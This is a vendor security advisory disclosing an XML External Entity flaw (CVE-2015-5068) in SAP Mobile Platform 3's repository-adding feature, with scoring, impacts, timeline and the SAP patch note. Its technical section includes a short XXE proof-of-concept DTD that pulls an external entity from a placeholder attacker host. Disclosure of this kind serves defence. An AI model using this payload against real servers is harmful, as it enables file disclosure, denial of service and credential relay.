[ERPSCAN-15-014] SAP Mobile Platform 3 – XXE in Add Repository

ERPSCAN Research Advisory [ERPSCAN-15-014] SAP Mobile Platform 3 – XXE
in Add Repository

Application: SAP Mobile Platform
Versions Affected: SAP Mobile Platform 3, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Sent: 13.03.2015
Reported: 14.03.2015
Vendor response: 14.03.2015
Date of Public Advisory: 15.06.2015
Reference: SAP Security Note 2159601
Author: Vahagn Vardanyan (ERPScan)

Description

1. ADVISORY INFORMATION
   Title: SAP Mobile Platform 3
   Advisory ID: [ERPSCAN-15-014]
   Risk: High
   Advisory URL: http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/
   Date published: 15.06.2015
   Vendors contacted: SAP

2. VULNERABILITY INFORMATION
   Class: XML External Entity [CWE-611]
   Impact: information disclosure, denial of service
   Remotely Exploitable: Yes
   Locally Exploitable: No
   CVE Name: CVE-2015-5068
   CVSS Information
   CVSS Base Score: 5.5 / 10
   CVSS Base Vector:
   AV : Access Vector (Related exploit range) Network (N)
   AC : Access Complexity (Required attack complexity) Low (L)
   Au : Authentication (Level of authentication needed to exploit) Single (S)
   C : Impact to Confidentiality Partial (P)
   I : Impact to Integrity None (N)
   A : Impact to Availability Partial (P)

3. VULNERABILITY DESCRIPTION
   1) An attacker can read an arbitrary file on a server by sending a
   correct XML request with a crafted DTD and reading the response from
   the service.
   2) An attacker can perform a DoS attack (for example, XML Entity Expansion).
   3) An SMB Relay attack is a type of Man-in-the-Middle attack where the
   attacker asks the victim to authenticate into a machine controlled by
   the attacker, then relays the credentials to the target. The attacker
   forwards the authentication information both ways and gets access.

4. VULNERABLE PACKAGES
   SAP NetWeaver AS Java 7.4
   Other versions are probably affected too, but they were not checked.

5. SOLUTIONS AND WORKAROUNDS
   To correct this vulnerability, install SAP Security Note 2159601.

6. AUTHOR
   Vahagn Vardanyan (ERPScan)

7. TECHNICAL DESCRIPTION
   SAP XML parser validates all incoming XML requests with a
   user-specified DTD. Тhe vulnerability is presented in the field for
   adding a new repository. When an administrator adds the URL for a new
   repository and saves, SAP Mobile Platform searches for these files in
   remote URL:

• remote_URL\content.xml
• remote_URL\artifacts.xml

The attacker can change content.xml or artifacts.xml and add malicious code.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker_IP/">
%remote;]>
<root/>

8. REPORT TIMELINE
   Sent: 13.03.2015
   Reported: 14.03.2015
   Vendor response: 14.03.2015
   Date of Public Advisory: 15.06.2015

9. REFERENCES
   http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/

10. ABOUT ERPScan Research
    The company’s expertise is based on the research subdivision of
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    critical enterprise applications. It has achieved multiple
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11. ABOUT ERPScan
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    Named an Emerging vendor in Security by CRN and distinguished by more
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